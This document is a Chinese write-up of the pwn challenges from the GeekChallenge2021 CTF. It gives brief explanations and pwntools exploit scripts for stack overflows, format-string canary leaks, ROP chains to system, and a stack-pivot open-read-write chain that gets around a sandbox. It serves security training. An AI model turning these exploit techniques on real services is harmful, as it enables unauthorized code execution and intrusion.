PWN-COMPETITION-GeekChallenge2021

PWN-COMPETITION-GeekChallenge2021

    • check in
    • 恋爱小游戏
    • ret2xxone
    • 恋爱小游戏2.0
    • easyfmt
    • easycanary
    • ret2baby
    • pwn777

check in

66s内解答200道四则运算的题目即可getshell
参与运算的数和运算符都会打印,直接写脚本即可

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./math")
io=remote("123.57.230.48",12343)
elf=ELF("./math")for i in range(200):io.recvuntil("num1:")num1=int(io.recvuntil("\n")[:-1])io.recvuntil("num2:")num2=int(io.recvuntil("\n")[:-1])io.recvuntil("this calculation is ")sign=io.recvuntil("\n")[:-1]ans=0if sign=="+":ans=num1+num2elif sign=="-":ans=num1-num2elif sign=="*":ans=num1*num2else:ans=num1/num2io.sendlineafter("your answer!!:\n",str(ans))io.interactive()

恋爱小游戏

栈溢出覆写栈上变量的值使满足if即可getshell,可直接在命令行输入payload
gane-flag

ret2xxone

Geek函数中存在栈溢出漏洞,前提是先输入一个数和程序产生的随机数相同
ret2xxone
由于程序没有通过srand()函数设置随机数种子,所以每次运行程序时,程序产生的随机数都是相同的,可以通过调试得到
在0x0804860C处下断点,程序调用rand()后,返回值EAX即为程序产生的随机数,这里为0x6b8b4567
ret2xxone-randnum
之后就是利用栈溢出getshell

# -*- coding:utf-8 -*-
from pwn import *
io=process("./ret2xx")
elf=ELF("./ret2xx")
system_plt=elf.plt["system"]
binsh=0x080486D0io.recvuntil("to solve it!\n")
num=0x6b8b4567
io.send(p32(num))payload="a"*(0x1A+4)+p32(system_plt)+p32(0xdeadbeef)+p32(binsh)
io.send(payload)io.interactive()

恋爱小游戏2.0

栈溢出,原理和1.0一样,注意在命令行输入payload后不能用回车,要用Ctrl+D来结束输入
game-flag
或者写脚本,payload最后设为"\x00"即可

# -*- coding:utf-8 -*-
from pwn import *
io=remote("47.242.20.238",10000)
payload="a"*24+"loveyou\x00"
io.send(payload)
io.interactive()

easyfmt

格式化字符串漏洞,第一次覆写栈上变量的值,第二次覆写返回地址
backdoor关闭了标准输出流,使用exec实现重定位,再cat flag即可

# -*- coding:utf-8 -*-
from pwn import *
#io=process("./format_string")
io=remote("123.57.230.48",12342)
elf=ELF("./format_string")#gdb.attach(io,"b * 0x08048685")
#pause()io.recvuntil("First step:\n0x")
v3_addr=int(io.recvuntil("\n")[:-1],16)
print("v3_addr=="+hex(v3_addr))payload=p32(v3_addr)+"%8c%15$hn" # len(payload)==13
io.send(payload)backdoor=0x0804874D
ebp_sub_8=v3_addr+0x10
io.recvuntil("you enter there\n")
payload=p32(ebp_sub_8)+"%"+str(backdoor&0xff-4)+"c%7$hhn"
print(len(payload))
io.sendline(payload)io.sendline("exec 1>&2")
io.sendline("cat flag")
#pause()io.interactive()

easycanary

格式化字符串泄露canary,read利用栈溢出覆写返回地址getshell

# -*- coding:utf-8 -*-
from pwn import *
#io=process("./stackguard1")
io=remote("123.57.230.48",12344)
elf=ELF("./stackguard1")#gdb.attach(io,"b * 0x4012A3")
#pause()payload="%11$p"
io.sendline(payload)
io.recvuntil("0x")
canary=int(io.recv(16),16)
print("canary=="+hex(canary))backdoor=0x4011D6
payload="a"*(0x30-8)+p64(canary)+"b"*8+p64(backdoor)
io.sendline(payload)#pause()io.interactive()

ret2baby

main函数中说有两次机会,其实一次就可以getshell了
input函数中要求输入一个position,范围为[0,20],将这个position传入game函数中
对game函数的分析标注在注释中
ret2-vuln
当game函数第32行的if语句成立时,可以造成栈溢出,脚本如下

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./ret2")
io=remote("123.57.230.48",12346)
elf=ELF("./ret2")binsh=0x4014d4
pop_rdi=0x401273
ret=0x400318io.recvuntil("please input your position\n")
io.sendline("20")io.recvuntil("plz input your value\n")
io.sendline("0")io.recvuntil("this is a gitf 0x")
system=int(io.recv(12),16)
print("system=="+hex(system))payload="a"*(0x12+8)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)io.sendline(payload)io.interactive()

pwn777

此题开了沙箱,ban了execve系统调用,于是考虑orw
game函数中利用栈溢出覆写随机数种子为0,绕过随机检测
fmt()函数中存在bss段上的格式化字符串漏洞,参考:bss上的格式化字符串漏洞
此题除了game函数中存在栈溢出,其它函数中都不存在可实现rop的条件,要想实现orw还需要栈迁移

# -*- coding:utf-8 -*-
from pwn import *
#context.log_level="debug"
context.arch="amd64" # 下面asm()找gadget需要
#io=process("./pwn01")
io=remote("47.242.20.238",7777)
elf=ELF("./pwn01")
libc=ELF("./libc-2.23.so")#offset=0x1621
#io_base = io.libs()[io.cwd + io.argv[0].strip('.')]
#gdb.attach(io,"b * "+str(io_base+offset))
#pause()io.recvuntil("input your name\n")
name="a"*16+p64(0)+p32(0) # 栈溢出,将随机数种子设为0
io.send(name)num=[1804289383,846930886,1681692777,1714636915,1957747793,424238335,719885386,1649760492,596516649,1189641421]
for i in range(10):io.recvuntil("input your number:")io.sendline(str(num[i]))io.recvuntil("try your best!\n")	
payload="%6$p.%7$p.%13$p" #泄露栈地址,程序基地址,libc基址
io.sendline(payload)
io.recvuntil("0x")
stack_addr=int(io.recvuntil(".")[:-1],16) #栈地址
print("stack_addr=="+hex(stack_addr))
io.recvuntil("0x")
proc_base=int(io.recvuntil(".")[:-1],16)-0x166F #程序基地址
print("proc_base=="+hex(proc_base))
io.recvuntil("0x")
libc_base=int(io.recv(12),16)-240-libc.sym["__libc_start_main"] #libc基址
print("libc_base=="+hex(libc_base))
buf_addr=proc_base+0x4060 #buf地址
print("buf_addr=="+hex(buf_addr))# 依照bss段上的格式化字符串漏洞利用原理,实现栈迁移,需要修改rbp到fake_rbp地址,改写mymain的返回地址到一个leave_ret
# phase 1 start 改写mymain的返回地址到一个leave_ret
rip=stack_addr+0x8
rip_0_2=rip&0xff
print("rip_0_2=="+hex(rip_0_2))
payload="%"+str(rip_0_2)+"c%6$hhn" #这里是偏移为6的链
io.sendline(payload)leave_ret=proc_base+0x1676
print("leave_ret=="+hex(leave_ret))
ret=leave_ret&0xff
print("ret=="+hex(ret))
payload="%"+str(ret)+"c%10$hhn"
io.sendline(payload)# phase 1 end# phase 2 start 改写rbp到fake_rbp地址,由于原本栈上的rbp与fake_rbp地址完全不同,需要分3次各次写2个字节,共6个字节
fake_rbp=buf_addr+0x10
print("fake_rbp=="+hex(fake_rbp))buf_addr_0_4=(fake_rbp)&0xffff
print("buf_addr_0_4=="+hex(buf_addr_0_4))
payload="%"+str(buf_addr_0_4)+"c%6$hn" #低2字节可以用上面改写返回地址的链直接写,偏移为6的链
io.sendline(payload)# 中间2字节 和 高2字节 需要找另一条链辅助写,这里是偏移为15的链
stack_addr_add_2=stack_addr+0x2
print("stack_addr_add_2=="+hex(stack_addr_add_2))
stack_addr_add_2=stack_addr_add_2&0xffff
payload="%"+str(stack_addr_add_2)+"c%15$hn"
io.sendline(payload)buf_addr_4_8=(fake_rbp>>16)&0xffff
print("buf_addr_4_8=="+hex(buf_addr_4_8))
payload="%"+str(buf_addr_4_8)+"c%41$hn"
io.sendline(payload)stack_addr_add_4=stack_addr+0x4
print("stack_addr_add_4=="+hex(stack_addr_add_4))
stack_addr_add_4=stack_addr_add_4&0xffff
payload="%"+str(stack_addr_add_4)+"c%15$hn"
io.sendline(payload)buf_addr_8_12=(fake_rbp>>32)&0xffff
print("buf_addr_8_12=="+hex(buf_addr_8_12))
payload="%"+str(buf_addr_8_12)+"c%41$hn"
io.sendline(payload)
# phase 2 endbss=proc_base+0x4020
syscall = libc_base+0x1015D7 #在libc中找一个syscall的偏移即可
pop_rax_ret = libc_base+libc.search(asm("pop rax; ret")).next() #注意设置context.arch="amd64"
pop_rdi_ret = libc_base+libc.search(asm("pop rdi; ret")).next()
pop_rsi_ret = libc_base+libc.search(asm("pop rsi; ret")).next()
pop_rdx_ret = libc_base+libc.search(asm("pop rdx; ret")).next()payload="jiaraniloveyou~\x00" # len=16
payload+="./flag".ljust(8,"\x00") #要打开的文件名
# 下面是利用栈迁移实现orw,open,read,write
payload+=p64(pop_rdi_ret)+p64(buf_addr+0x10)+p64(pop_rsi_ret)+p64(0)+p64(pop_rax_ret)+p64(2)+p64(syscall)
payload+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(bss)+p64(pop_rdx_ret)+p64(0x30)+p64(pop_rax_ret)+p64(0)+p64(syscall)
payload+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(bss)+p64(pop_rdx_ret)+p64(0x30)+p64(pop_rax_ret)+p64(1)+p64(syscall)
io.sendline(payload)#pause()io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/438048.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ASP.Net请求处理机制初步探索之旅 - Part 4 WebForm页面生命周期

开篇:上一篇我们了解了所谓的请求处理管道,在众多的事件中微软开放了19个重要的事件给我们,我们可以注入一些自定义的业务逻辑实现应用的个性化设计。本篇,我们来看看WebForm模式下的页面生命周期。 (1)Par…

REVERSE-COMPETITION-GeekChallenge2021

REVERSE-COMPETITION-GeekChallenge2021Re0刘壮桌面美化大师买ActivityRe1调试珍惜生命new_languageeasypycBrute_forcewin32wasm猜拳have_a_teaRe0 64位exe,ida打开,main函数中没发现什么重要的逻辑 ShiftF12打开字符串窗口,直接找到flag明…

ASP.Net请求处理机制初步探索之旅 - Part 5 ASP.Net MVC请求处理流程

开篇:上一篇我们了解了在WebForm模式下一个Page页面的生命周期,它经历了初始化Init、加载Load以及呈现Render三个重要阶段,其中构造了页面控件树,并对页面控件树进行了大量的递归操作,最后将与模板结合生成的HTML返回给…

REVERSE-PRACTICE-CTFSHOW-6

REVERSE-PRACTICE-CTFSHOW-6真的是签到批量生产的伪劣产品来一个派森snake真的是签到 附件是一个压缩包,解压需要密码,但是题目没有给到解压密码 实际上是压缩包伪加密,将如图橙色处原本的字节0x09改为0x00,保存后即可解压出文件…

REVERSE-PRACTICE-CTFSHOW-7

REVERSE-PRACTICE-CTFSHOW-7签层饼Tea_tube_poteasy贪吃蛇的秘密签层饼 32位exe,ida打开 main函数中,输入两个大于0的数字,如果flag_num为0,则将两个输入作为flag的一部分,打印flag 选中input_1按x查找交叉引用&…

HttpModule与HttpHandler详解(转)

ASP.NET对请求处理的过程: 当请求一个*.aspx文件的时候,这个请求会被inetinfo.exe进程截获,它判断文件的后缀(aspx)之后,将这个请求转交给 ASPNET_ISAPI.dll,ASPNET_ISAPI.dll会通过http管道&am…

Windows 系统中 Python下 Pygame 的安装

Pygame是跨平台Python模块,专为电子游戏设计,可用于管理图形、动画乃至声音,建立在SDL基础上,允许实时电子游戏研发而无需被低级语言(如机器语言和汇编语言)束缚,通过使用Pygame来处理在屏幕上绘…

REVERSE-PRACTICE-CTFSHOW-8

REVERSE-PRACTICE-CTFSHOW-8Matara OkinaanniuwarmupeMatara Okina apk文件,jadx-gui打开 MainActivity什么都没有,来到FlagActivity scheme,host这些看不懂 第44行有个ans和bytes的比较,ans已知,bytes是从某个地方获…

Html控件和Web控件(转)

作为一名ASP.NET的初学者,了解并且区别一些混淆概念是很必须的,今天这篇博文 就是主要向大家介绍一下Html控件和Web控件。在ASP.net中,用户界面控件主要就是 Html控件和Web控件,在前台页面上看,两种控件非常相似&…

VMware Pro 14 安装 Ubuntu 18.04 详细教程

目录● 安装步骤1.下载安装 VMware Workstation Pro 142.下载 Ubuntu 18.04 系统3.在 VMware 中创建虚拟机4.在虚拟机上安装 Ubuntu 系统● 安装过程中可能会出现的一些问题 1.在虚拟机上安装 Ubuntu 系统的过程中卡死不动 2.Ubuntu 不能全屏显示● 安装步骤 1.下载安装 VMware…

Web服务器控件和HTML控件的区别与联系

我们知道,在ASP.NET中,使用了两类控件,一类是HTML控件,还有一类是WEB控件。 WEB控件我们已经很熟悉,因为它是ASP.NET提供,一般关于ASP.NET的教程文章都会仔细介绍这些控件的详细应用技巧; 而H…

Hexo 博客优化之博客美化系列(持续更新)

2022-01-25 更新:博客新地址:https://www.itbob.cn/,文章距上次编辑时间较远,部分内容可能已经过时! 本文将讲述一些 Hexo 博客的美化,本文以作者 luuman 的 spfk 主题和作者 xaoxuu 的 Material X 主题为例…

一台电脑部署两个或多个 Hexo 博客(一台电脑使用两个或多个 GitHub 账号)

由于个人原因需要在一台电脑上部署两个Hexo博客,本来以为挺简单,没想到问题重重,首先是一个GitHub账号只能搭建一个Hexo博客,因此就需要使用其他GitHub账号;其次是一台电脑绑定两个GitHub账号,则需要两对公…

element.style内联样式修改

最近在修改我个人博客的一个样式时发现,无论我如何修改style里面的值,页面上的样式都不会被修改,F12检查一下发现个element.style,但是却找不到这个值在哪里,查资料后才知道element.style为内联样式,基本很…

免费CDN:jsDelivr+Github 使用方法

CDN的全称是Content Delivery Network,即内容分发网络。CDN是构建在网络之上的内容分发网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥塞&…

EasyUI学习总结(一)——EasyUI入门

一、EasyUI下载 EasyUI官方下载地址:http://www.jeasyui.com/download/index.php,目前最新的版本是:jQuery EasyUI 1.4.1 下载完成之后,得到压缩包,解压后,得到一个【jquery-easyui-1.4.1】文件夹&#xff…

PWN-PRACTICE-CTFSHOW-1

PWN-PRACTICE-CTFSHOW-1PWN签到题pwn02pwn03pwn04PWN签到题 nc连上去就会打印flag pwn02 栈溢出,覆盖返回地址为后门函数stack起始地址即可 # -*- coding:utf-8 -*- from pwn import * #ioprocess("./pwn1") ioremote("pwn.challenge.ctf.show&…

利用QQ邮箱设置个性域名邮箱,并在网易邮箱大师客户端添加域名邮箱

平常我们使用的邮箱都是xxxqq.com、xxx126.com、xxx163.com、xxxgmail.com之类的,这些邮箱会暴露你的QQ号、电话号等信息,最重要的是后缀都和别人一样,没有个性,也许你看见过xxxliruihao.com、xxxwangxiaoxiao.com之类的带有个性后…

MVC和WebForm区别

WebForm的理解 1、 WebForm概念 ASP.NETWebform提供了一个类似于Winform的事件响应GUI模型(event-drivenGUI),隐藏了HTTP、HTML、JavaScript等细节,将用户界面构建成一个服务器端的树结构控件(Control)&a…

VMware Pro 15 安装 Deepin15.9 国产操作系统详细教程

Deepin是由武汉深之度科技有限公司开发的Linux发行版,个人认为其界面设计非常美观,而且作为国产操作系统,值得我们去体验和支持! 文章目录1.下载安装 VMware Workstation Pro 152.下载 Deepin15.9 系统3.在 VMware 中创建虚拟机4.…